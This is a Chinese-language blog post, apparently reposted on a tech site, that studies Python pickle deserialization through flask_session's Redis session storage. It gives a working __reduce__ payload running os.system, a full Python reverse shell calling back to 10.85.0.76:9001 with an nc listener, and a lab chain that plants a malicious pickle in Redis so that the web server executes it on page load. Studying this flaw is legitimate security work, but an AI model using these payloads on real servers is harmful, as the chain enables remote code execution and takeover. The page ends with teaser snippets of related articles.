摘要:反序列化安全問題一這一段時間使用做開發,使用了存儲,閱讀了源碼,發現在存儲到過程中,利用了模塊進行序列化以及反序列化正好根據該樣例學習一波反序列化相關的安全問題,不足之處請各位表哥指出。
Python 反序列化安全問題(一)
這一段時間使用flask做web開發,使用了redis存儲session,閱讀了flask_session源碼,發現在存儲session到redis過程中,利用了cPickle模塊進行序列化以及反序列化;正好根據該樣例學習一波Python反序列化相關的安全問題,不足之處請各位表哥指出。
Python中主要是用cPickle和pickle,前者是使用C語言實現,速度可達到后者的1000倍,使用范圍較廣(文檔鏈接)
cPickle可以序列化很多類型的對象,詳情見文檔。基礎語法就是:
import cPickle a = 1 b = cPickle.dumps(a) cPickle.loads(b)
文檔中需要特別關注的是11.1.5.2,Pickling and unpickling extension types
這一節主要內容就是講述cPickle序列化以及反序列化擴展類的過程,原文有一句我并沒有完全理解意思:
When the Pickler encounters an object of a type it knows nothing about — such as an extension type
初始理解的意思是:當遇到解釋器一無所知的擴展類型的時候,但是對于理解的這句話,擴展類型是什么意思?后來想到Python中元類是type,這里extension types應該理解為type類型的class。
class A(): # 舊類 pass type(A)class B(object): # 新類 pass type(B)
所以說這一節主要針對的應該是新類,即 class A(object) 此種寫法創建的類(存疑,待補充完善);當序列化以及反序列化的過程中中碰到未知類的時候,可以通過類中定義的__reduce__方法來告知如何進行序列化或者反序列化,該方法可以返回string和tuple類型;問題主要出在tuple類型(后面會細述),通過構造__reduce__可達到命令執行的目的:
import cPickle import os class A(object): def __reduce__(self): a = "whoami" return (os.system,(a,)) b=A() result = cPickle.dumps(b) cPickle.loads(result)
使用上述命令即可執行whoami命令。同時也可以利用該方式反彈shell:
import cPickle import os class A(object): def __reduce__(self): a = """python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.85.0.76",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);"""" return (os.system,(a,)) b=A() result = cPickle.dumps(b) cPickle.loads(result)
然后在10.85.0.76執行nc -lvvp 9001,即可成功獲取shell。
因為本次測試主要是依托于flask和redis,所以首先介紹一下flask_session。
flask中默認使用客戶端session,如果想要配置服務端session,就需要使用flask_session配合Redis(后面皆以Redis為主)或者其他數據庫。flask_session使用Redis存儲session的過程(主要使用如下的接口實現,只展示部分代碼):
class RedisSessionInterface(SessionInterface): serializer = pickle # 上文模塊導入 import cPickle as pickle session_class = RedisSession def open_session(self, app, request): # 獲取session …… val = self.redis.get(self.key_prefix + sid) if val is not None: try: data = self.serializer.loads(val) ## 將session值取出后反序列化 return self.session_class(data, sid=sid) except: return self.session_class(sid=sid, permanent=self.permanent) return self.session_class(sid=sid, permanent=self.permanent) def save_session(self, app, session, response): # 存儲session …… val = self.serializer.dumps(dict(session)) ## 將session值序列化存儲到redis
上述過程簡單說就是:session存取過程存在序列化和反序列化的過程。
session在Redis中以鍵值對(key,value)的形式存儲。假設我們能夠操縱Redis中的鍵值對,將某個key的值設為我們序列化后惡意代碼(比如上面反彈shell的代碼樣例),然后在將自身的cookie設置為該key,在訪問網站的時候,服務端會對于根據key查找value并進行反序列化,進而反彈shell。下面對于該想法進行測試
測試環境:
victim:Ubuntu 14.04、Redis 2.8.4、IP:10.85.0.54
attacker:Win10、IP:10.85.0.76
2.1 構建服務端此處我用flask編寫了一個服務端樣例:
import redis import os from flask import Flask,session from flask_session import Session app = Flask(__name__) SESSION_TYPE = "redis" SESSION_PERMANENT = False SESSION_USE_SIGNER = False SESSION_KEY_PREFIX = "session" SESSION_REDIS = redis.Redis(host="127.0.0.1",port="6379") SESSION_COOKIE_HTTPONLY = True PERMANENT_SESSION_LIFETIME = 604800 # 7 days app.config.from_object(__name__) Session(app) @app.route("/") def hello_world(): session["name"]="test" return "Hello World!" if __name__ == "__main__": app.run(host="0.0.0.0")
將上述代碼保存為app.py,第三方庫安裝完畢后,在服務器上運行
python app.py
即可在5000端口啟動簡單的服務端,訪問如圖所示,紅框中是我們的sid,也是服務端查找session內容的key(因為設置了前綴,所以redis中key應該是session+sid):
此時如果說我們將value設置為惡意代碼會怎么樣?
import cPickle import os import redis class A(object): def __reduce__(self): a = """python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.85.0.76",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);"""" return (os.system,(a,)) b=A() result = cPickle.dumps(b) r = redis.Redis(host="127.0.0.1",port=6379) r.set("此處為"session"和你的sid拼接",result)
運行上述代碼后,我們可以發現我們的session內容變成下圖所示內容:
2.3 反彈shell此時在attacker監聽9001端口:
nc -lvvp 9001
然后刷新瀏覽器中訪問頁面,發現成功反彈shell:
目前很多Python的Web應用都用Redis等NoSQL進行session存儲,當攻擊者有機會去操縱服務端的session的時候(比如Redis未授權訪問),配合反序列化漏洞即可執行命令。上述提到的兩個庫cPickle和pickle,兩個庫實現的功能基本相似,后面會對于Python實現的pickle庫進行分析為何會出現命令執行的漏洞。
文章版權歸作者所有,未經允許請勿轉載,若此文章存在違規行為,您可以聯系管理員刪除。
轉載請注明本文地址:http://m.specialneedsforspecialkids.com/yun/41357.html
摘要:讀取新的一行作為模塊名,讀取下一行作為對象名,然后將壓入到堆棧中。讀取字符串進行處理之后壓入堆棧。將一個元組和一個可調用對象彈出堆棧,然后以該元組作為參數調用該可調用的對象,最后將結果壓入到堆棧中。調用結束反序列化。 python pickle允許類定義__reduce__方法來聲明如何進行序列化。其返回字符串或者tuple,前者可能代表著一個python的全局變量的名稱,后者則是描...
摘要:讀取新的一行作為模塊名,讀取下一行作為對象名,然后將壓入到堆棧中。讀取字符串進行處理之后壓入堆棧。將一個元組和一個可調用對象彈出堆棧,然后以該元組作為參數調用該可調用的對象,最后將結果壓入到堆棧中。調用結束反序列化。 python pickle允許類定義__reduce__方法來聲明如何進行序列化。其返回字符串或者tuple,前者可能代表著一個python的全局變量的名稱,后者則是描...
摘要:據公告稱,和的包裝庫使用了不安全的函數來反序列化編碼的機器學習模型。簡單來看,序列化將對象轉換為字節流。據悉,本次漏洞影響與版本,的到版本均受影響。作為解決方案,在宣布棄用之后,團隊建議開發者以替代序列化,或使用序列化作為替代。 ...
摘要:在考慮安全性時,你需要考慮如何避免被濫用,也不例外,即使在標準庫中,也存在用于編寫應用的不良實踐。修復使用替換標準庫模塊,它增加了針對這些類型攻擊的安全防護。但這卻是中最大的安全漏洞之一。 簡評:編寫安全代碼很困難,當你學習一個編程語言、模塊或框架時,你會學習其使用方法。 在考慮安全性時,你需要考慮如何避免被濫用,Python也不例外,即使在標準庫中,也存在用于編寫應用的不良實踐。然而...
摘要:默認情況下,它也是不安全的,如果數據是由黑客精心設計的,則反序列化的數據可能被植入惡意代碼。總結為我們提供了數據序列化的工具。如果是自己內部使用,可以作為一個選擇進行復雜對象的序列化。 上一節我們學習了文件的讀寫,把一個字符串(或字節對象)保存到磁盤是一件很容易的事情。但是在實際編程中,我們經常需要保存結構化數據,比如復雜的字典、嵌套的列表等等,這時候就需要我們想辦法把這些結構化數據先...
閱讀 928·2021-11-24 09:38
閱讀 943·2021-11-23 09:51
閱讀 2951·2021-11-16 11:44
閱讀 1782·2021-09-22 15:52
閱讀 1686·2021-09-10 11:20
閱讀 1411·2019-08-30 13:47
閱讀 1305·2019-08-29 12:36
閱讀 3340·2019-08-26 10:43